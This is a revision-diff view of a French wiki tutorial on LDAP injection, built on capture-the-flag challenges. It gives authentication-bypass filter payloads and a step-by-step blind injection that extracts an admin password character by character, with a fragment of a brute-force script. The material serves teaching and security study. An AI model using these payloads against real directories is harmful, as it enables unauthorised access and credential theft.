Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
failles_web:ldap_injection [2014/05/19 15:30] sorcha créée |
failles_web:ldap_injection [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 3: | Ligne 3: | ||
Voici un bref aperçu des injections LDAP. Nous retrouverons les deux types d'injections: les standards avec connaissance de la syntaxe, et les injections à l'aveugle. | Voici un bref aperçu des injections LDAP. Nous retrouverons les deux types d'injections: les standards avec connaissance de la syntaxe, et les injections à l'aveugle. | ||
- | Les résultats présentés ici sont issus des deux challenges proposés par le site root-me: | ||
- | * http://www.root-me.org/fr/Challenges/Web-Serveur/LDAP-injection-authentification | ||
- | * http://www.root-me.org/fr/Challenges/Web-Serveur/LDAP-injection-en-aveugle | ||
Le principe est identique aux autres types d'injections SQL, XPATH. Seule la syntaxe change. | Le principe est identique aux autres types d'injections SQL, XPATH. Seule la syntaxe change. | ||
- | \\ | ||
===== Injection de base sur authentification username/password===== | ===== Injection de base sur authentification username/password===== | ||
Ligne 17: | Ligne 13: | ||
La requête de base pour une authentification LDAP est: | La requête de base pour une authentification LDAP est: | ||
<code python> | <code python> | ||
- | resultat=(&(user=<valeur>)(password=<valeur>)) | + | resultat=(&(user=<valeur>)(pass=<valeur>)) |
</code> | </code> | ||
- | Pour en être sûr, ou pour connaître la syntaxe de la requête, nous pouvons comme pour une SQLi, provoquer une erreur dans la requête, exemple en mettant ')' dans le champ user, on obtient: | + | Pour en être sûr, ou pour connaître la syntaxe de la requête, nous pouvons, comme pour une SQLi, provoquer une erreur dans la requête, exemple en mettant ')' dans le champ user, on obtient: |
<code php> | <code php> | ||
- | ERROR : Invalid LDAP syntax : (&(uid=))(userPassword=))) | + | ERROR : Invalid LDAP syntax : (&(uid=))(userPass=))) |
</code> | </code> | ||
La première parenthèse fermante fait partie des valeurs saisies, elle ne doit pas être prise en compte dans la construction de la requête. | La première parenthèse fermante fait partie des valeurs saisies, elle ne doit pas être prise en compte dans la construction de la requête. | ||
- | Le & représente l'opérateur logique AND, et les deux variables user et password représentent deux champs présents dans l'annuaire LDAP. | + | Le & représente l'opérateur logique AND, et les deux variables user et pass représentent deux champs présents dans l'annuaire LDAP. |
Le but de l'injection est donc de bypasser le password. pour cela, on peut compléter la requête par d'autres opérateurs logiques. | Le but de l'injection est donc de bypasser le password. pour cela, on peut compléter la requête par d'autres opérateurs logiques. | ||
Ligne 32: | Ligne 28: | ||
Le plus simple, est de saisir: | Le plus simple, est de saisir: | ||
* user= ***** | * user= ***** | ||
- | * password=***)(&** | + | * pass=***)(&** |
Cela va donner: | Cela va donner: | ||
- | * avant: resultat=(&(user=<valeur>)(password=<valeur>)) | + | * avant: resultat=(&(user=<valeur>)(pass=<valeur>)) |
- | * après: resultat=(&(user=*****)(password=***)(&**)) | + | * après: resultat=(&(user=*****)(pass=***)(&**)) |
- | Dans ce cas précis, une vérification sur la présence du caractère * était faite sur le champ password. D'où la nécessité de saisir quelquechose dans ce champ. | + | Il est possible qu'une vérification sur la présence du caractère * soit faite sur le champ pass. D'où la nécessité de saisir quelquechose dans ce champ. |
Nous pouvons forger la requête suivante en rajoutant dans le champ user un autre opérateur logique comme le OR représenté par un pipe |: | Nous pouvons forger la requête suivante en rajoutant dans le champ user un autre opérateur logique comme le OR représenté par un pipe |: | ||
* user=*)(|(& | * user=*)(|(& | ||
- | * password=) | + | * pass=) |
<code> | <code> | ||
- | resultat=(&(user=*)(|(&)(password=)) | + | resultat=(&(user=*)(|(&)(pass=)) |
</code> | </code> | ||
Le terme (&) renvoie toujours vrai, c'est très pratique pour compléter des filtres. | Le terme (&) renvoie toujours vrai, c'est très pratique pour compléter des filtres. | ||
- | Cette requête bypasse le password avec une parenthèse fermante pour respecter la syntaxe de la requête. Il faut la lire comme suit: user=(* ET __('VRAI' OU password=)__) | + | Cette requête bypasse le password avec une parenthèse fermante pour respecter la syntaxe de la requête. Il faut la lire comme suit: user=(* ET __('VRAI' OU pass=)__) |
- | \\ | ||
===== Les injections à l'aveugle ===== | ===== Les injections à l'aveugle ===== | ||
Ligne 60: | Ligne 55: | ||
---- | ---- | ||
- | Si nous nous appuyons sur le chall de root-me, nous observons que cette fois, l'injection sera à faire sur le champ de recherche de personnes. En bref, la requête sera de la forme: | + | Un exemple: |
resultat=(&(<champ1>=*<valeur1>*)(<champ2>=*<valeur2>*)) | resultat=(&(<champ1>=*<valeur1>*)(<champ2>=*<valeur2>*)) | ||
Ligne 70: | Ligne 64: | ||
3 results | 3 results | ||
- | sn : jsmith | + | sn : Alice |
- | Email : j.smith@ch26.challenge01.root-me.org | + | Email : alice@zenk.org |
- | sn : thich | + | sn : Patrick |
- | Email : t.hitch@ch26.challenge01.root-me.org | + | Email : patrick@zenk.org |
sn : admin | sn : admin | ||
- | Email : admin@ch26.challenge01.root-me.org | + | Email : admin@zenk.org |
</code> | </code> | ||
- | * En saisissant "e", on obtient: | ||
- | <code> | ||
- | 5 results | ||
- | sn : Cat | ||
- | Email : ch26@challenge01.root-me.org | ||
- | sn : jsmith | + | Avec plusieurs essais de requêtes, nous en déduisons que la requête doit contenir les champs sn et mail. Le champ "mail" est déduit des différents essais notamment en saisissant un @ qui renvoie tous les users avec une adresse mail. C'est sur ce champ que la valeur est testée. |
- | Email : j.smith@ch26.challenge01.root-me.org | + | |
- | + | ||
- | sn : thich | + | |
- | Email : t.hitch@ch26.challenge01.root-me.org | + | |
- | + | ||
- | sn : lwest | + | |
- | Email : l.west@ch26.challenge01.root-me.org | + | |
- | + | ||
- | sn : admin | + | |
- | Email : admin@ch26.challenge01.root-me.org | + | |
- | </code> | + | |
- | + | ||
- | De ces deux requêtes, nous en déduisons que la requête doit contenir les champs sn et mail. Le champ "mail" est déduit des différents essais notamment en saisissant un @ qui renvoie tous les users avec une adresse mail. C'est sur ce champ que la valeur est testée. | + | |
Nous devons avoir une requête se rapprochant de cela: | Nous devons avoir une requête se rapprochant de cela: | ||
Ligne 117: | Ligne 93: | ||
resultat=(&(sn=*)(mail=*admin*)(password=d*)) | resultat=(&(sn=*)(mail=*admin*)(password=d*)) | ||
- | |||
- | La difficulté est de trouver le nom du champ contenant le password des users: | ||
- | * La requête a*)(champatest= renvoie rien. | ||
- | * La requête a*)(password= renvoie que le user admin. | ||
- | * La requête w*)(password= ne renvoie rien. Nous visions la sortie du user lwest. | ||
- | * La requête w*)(userpassword= renvoie bien le user lwest | ||
- | * La requête a*)(userpassword= renvoie le user admin. | ||
nous déduisons de tout cela que seul le user admin possède le champ password mais tous les users ont un champ userpassword! | nous déduisons de tout cela que seul le user admin possède le champ password mais tous les users ont un champ userpassword! | ||
- | * La requête @*)(userpassword= renvoie tous les users. | + | * La requête @*)(userpass= renvoie tous les users. |
- | * La requête @*)(password= ne renvoie que admin. | + | * La requête @*)(pass= ne renvoie que admin. |
Il ne reste plus qu'à tester tous les caractères du champ password pour le user admin: | Il ne reste plus qu'à tester tous les caractères du champ password pour le user admin: | ||
- | * La requête admin*)(password=* renvoie une erreur de syntaxe. | + | * La requête admin*)(pass=* renvoie une erreur de syntaxe. |
- | * La requête admin*)(password= renvoie //admin// | + | * La requête admin*)(pass= renvoie //admin// |
- | * La requête admin*)(password=a renvoie //0 results// | + | * La requête admin*)(pass=a renvoie //0 results// |
- | * La requête admin*)(password=d renvoie //admin// | + | * La requête admin*)(pass=d renvoie //admin// |
- | * La requête admin*)(password=ds renvoie //admin// | + | * La requête admin*)(pass=ds renvoie //admin// |
* etc... | * etc... | ||
- | \\ | + | ===== Les outils ===== |
- | + | ||
- | ====== Les outils ====== | + | |
---- | ---- | ||
- | * un simple script pour trouver le mot de passe. il est quasi identique à celui de XPATH Injection. Il faudra remplacer: | + | * un simple script pour trouver le mot de passe. il est quasi identique à celui de [[failles_web:xpath_injection|XPATH Injection]]. Il faudra remplacer: |
<code python> | <code python> | ||
- | req=page+"Harry') and starts-with(../password,'"+passwd+carac | + | req=page+"Alice') and starts-with(../password,'"+passwd+carac |
</code> | </code> | ||
par: | par: |